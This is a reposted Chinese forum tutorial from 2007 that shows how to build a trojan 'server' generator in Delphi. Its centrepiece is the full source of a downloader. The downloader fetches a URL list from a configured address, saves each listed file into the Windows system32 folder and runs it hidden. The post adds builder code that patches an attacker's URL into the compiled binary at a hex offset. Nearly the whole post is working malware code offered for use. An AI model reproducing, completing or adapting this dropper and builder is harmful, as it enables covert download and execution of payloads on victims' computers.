忘记密码
 新成员注册
查看: 819|回复: 0

[转帖]服务端生成技术的思考

[复制链接]
我的人缘0
发起活动
0 次
参加活动
0 次
龙能跃 发表于 2007-7-24 15:46 | 显示全部楼层 |阅读模式

你还没有登录,登录后可以看到更多精彩内容

您需要 登录 才可以下载或查看,没有账号?新成员注册

×
首先说一下服务端文件生成的思路:
1.把服务端文件编译成资源文件
2.在程序中导入资源文件并接受用户的配置信息
3.查找修改地址并写入配置信息
4.生成服务端文件

好了  过程就是这些  下面让我们来实现他吧。

首先写好我们的原始服务端  这里我们来写一个下载者为例。取名为down.exe  下面是源代码:

copy code
program down;

uses
  sysutils,urlmon,strutils,windows;
function downloadfile(source, dest: string): boolean;
begin
  try
    result := urldownloadtofile(nil, pchar(source), pchar(dest), 0, nil) = 0;
    except
      result := false;
    end;
  end;

const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
var
file1:textfile;
s,a:string;
begin
downloadfile(f,'c:\windows\system32\atlog.txt');
assignfile(file1,'c:\windows\system32\atlog.txt');
reset(file1);
  while not eof(file1) do
    begin
    readln(file1,s);
      downloadfile(s,'c:\windows\system32\'+rightstr(s,8));
      a:='c:\windows\system32\'+rightstr(s,8);
        winexec(pchar(a),sw_hide);
    end;
end.


这是一个支持多文件下载的服务端  具体代码我就不分析了  大家自己理解  很简单的。。。。
要注意的是

copy code
const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';


f 是等待用户来配置的变量  我们把它定义为50个x  这样在修改时好定位  这里x的个数关系到用户能够输入信息的长度
所以要定义足够多的x啊  免得后面不够用了。
好了  把它编译为down.exe  
下面我们来找xxxxxxxxxx。的地址。

打开十六进制编辑器  搜索xxxxx 找到的那个地址就是了  我们这里是54012  (delphi2005编译)
然后新建一个文本文件  写入如下代码


copy code
downman rcdata down.exe

保存为downman.rc  ok 下面把它编译成资源文件
brcc32.exe downman.rc
这样我们就得到了一个名为downman.res的资源文件

好  把它拷贝到我们的编程目录。
新建一个工程。
建立全局变量


copy code
const  offset_url:integer= 54012


在{$r *.dfm}下面加上{$r downman.res}  这样我们就在程序中加入了资源文件了
下面我们来看看普通的程序写法。



copy code
procedure tform1.button1click(sender: tobject);
var
url:string;
writebuff, ziyuanzhizhen: pchar;
ziyuanweizhi: hrsrc;
ziyuandaxiao, byteswritten: longword;
shujuchulijubing: thandle;
shenqingzhizhen: thandle;
begin
url:=trim(edit1.text);
if url<>'' then
begin
ziyuanweizhi := findresource(hinstance, 'downman', rt_rcdata);
ziyuandaxiao := sizeofresource(hinstance, ziyuanweizhi);
shujuchulijubing := loadresource(hinstance, ziyuanweizhi);
ziyuanzhizhen := lockresource(shujuchulijubing);
shenqingzhizhen := createfile(pchar('server.exe'), generic_write, file_share_write, nil, create_always, file_attribute_normal, 0);
writefile(shenqingzhizhen, ziyuanzhizhen^, ziyuandaxiao, byteswritten, nil);
sleep(100);
setfilepointer(shenqingzhizhen, offset_url, nil, file_begin);
writebuff := pchar(url + stringofchar(#0, 50 - length(url)));
writefile(shenqingzhizhen, writebuff^, 50, byteswritten, nil);
closehandle(shenqingzhizhen);
end
else
showmessage('请输入配置文件的地址!!');
end;



代码我就不解释了  网上有好多。
是不是看的头晕晕的。呵呵  俺也一样。
下面就给大家介绍一种新方法(俺自己想的。)
首先 把资源文件提取出来并保存到流 s 里面

copy code
procedure tform3.restostream;
var
res : tresourcestream;
begin
s:=tmemorystream.create;
res:=tresourcestream.create(hinstance,'downman',rt_rcdata);
res.savetostream(s);
res.free;
end;

s 是一个tmemorystream 在public  申明一下就行了

好完成第一步了 下面我们用流来检索并修改。


copy code
procedure tform3.button1click(sender: tobject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.seek(offset_url,sofrombeginning);
s.writebuffer(buffer^,50);
s.savetofile('server1.exe');
s.free;
end;


url  就是我们用户要输入的。  buffer 是用来填充前面说的f  (xxxxxxxx)
这样我们的服务端就生成完毕了。简单吧。

好  下面给出完整的程序供大家参考。


copy code
unit unit3;

interface

uses
  windows, messages, sysutils, variants, classes, graphics, controls, forms,
  dialogs, stdctrls;
const
offset_url:integer=54012;
type
  tform3 = class(tform)
    edit1: tedit;
    button1: tbutton;
    label1: tlabel;
    procedure restostream;
    procedure button1click(sender: tobject);
  private
    { private declarations }
  public
    { public declarations }
    s:tmemorystream;
  end;

var
  form3: tform3;

implementation

{$r *.dfm}
{$r downman.res}

procedure tform3.button1click(sender: tobject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.seek(offset_url,sofrombeginning);
s.writebuffer(buffer^,50);
s.savetofile('server1.exe');
s.free;
end;

procedure tform3.restostream;
var
res : tresourcestream;
begin
s:=tmemorystream.create;
res:=tresourcestream.create(hinstance,'downman',rt_rcdata);
res.savetostream(s);
res.free;
end;
end.


充实自我,展现自我!没有完美的个人,只有优秀的团队!计协我的家,建设靠大家!只有真正的融入了,你才会体会快乐哦~
您需要登录后才可以回帖 登录 | 新成员注册

本版积分规则

QQ|手机版|CA之家 ( 桂ICP备07006672号-6 )

GMT+8, 2025-9-16 06:01

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表